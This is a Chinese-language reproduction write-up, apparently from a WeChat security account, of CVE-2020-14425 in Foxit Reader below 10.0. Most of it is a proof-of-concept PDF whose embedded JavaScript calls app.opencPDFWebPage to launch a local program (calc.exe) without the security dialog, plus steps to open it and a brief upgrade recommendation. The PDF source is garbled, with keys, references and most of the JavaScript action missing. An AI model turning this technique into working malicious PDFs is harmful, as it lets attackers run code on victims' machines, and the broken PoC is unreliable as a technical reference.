简介
Foxit Reader(福昕阅读器)是一个小巧的PDF文档阅读器,完全免费(非开源软件)
影响版本
Foxit Reader < 10.0
漏洞复现
这里用Foxit Reader9.7.1进行测试
Poc
# Exploit Title: Foxit Reader 9.7.1 - Remote Command Execution (Javascript API)
# Exploit Author: Nassim Asrir
# Vendor Homepage: https://www.foxitsoftware.com/
# Description: Foxit Reader before 10.0 allows Remote Command Execution via the unsafe app.opencPDFWebPage JavaScript API which allows an attacker to execute local files on the file system and bypass the security dialog.
# CVE-2020-14425
The exploit process need the user-interaction (Opening the PDF) .
Process continuation
#POC
%PDF-1.4
%ó?ìá
1 0 obj
<<
20200821171007+02'00') :
Can you see me ?)
/Creator(AnonymousUser)
>>
endobj
2 0 obj
<<
/Type/Catalog
3 0 R
/Names
<<
10 0 R
>>
>>
endobj
3 0 obj
<<
/Type/Pages
1
0 R]
>>
endobj
4 0 obj
<<
/Type/Page
0 595 842]
3 0 R
5 0 R
/Resources
<<
[/PDF/Text/ImageB/ImageC/ImageI]
/ExtGState
<<
6 0 R
>>
/Font
<<
8 0 R
>>
>>
/Group
<<
/CS/DeviceRGB
/S/Transparency
false
false
>>
>>
endobj
5 0 obj
<<
94
/Filter/FlateDecode
>>
stream
d??t+9?_?if?è??[??B_5!d§ZhP>ˉ ‰ =
endstream
endobj
6 0 obj
<<
/Type/ExtGState
1
>>
endobj
7 0 obj
<<
/Type/FontDescriptor
833
592
-300
32
-710 702 1221]
0
0
443
/FontName/CourierNew,Bold
>>
endobj
8 0 obj
<<
/Type/Font
/Subtype/TrueType
/BaseFont/CourierNew,Bold
/Encoding/WinAnsiEncoding
7 0 R
0
255
600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600]
>>
endobj
9 0 obj
<<
/S/JavaScript
\\Windows\\System32\\calc.exe') ) :
>>
endobj
10 0 obj
<<
0 R]
>>
endobj
xref
0 11
0000000000 65535 f
0000000015 00000 n
0000000170 00000 n
0000000250 00000 n
0000000305 00000 n
0000000560 00000 n
0000000724 00000 n
0000000767 00000 n
0000000953 00000 n
0000002137 00000 n
0000002235 00000 n
trailer
<<
/ID[<7018DE6859F23E419162D213F5C4D583><7018DE6859F23E419162D213F5C4D583>]
1 0 R
2 0 R
11
>>
startxref
2283
%%EOF
保存为exp.pdf,然后双击打开
弹出计算器
修复建议
升级到安全版本
本文始发于微信公众号(锋刃科技):Foxit Reader 命令入漏洞(CVE-2020-14425)复现
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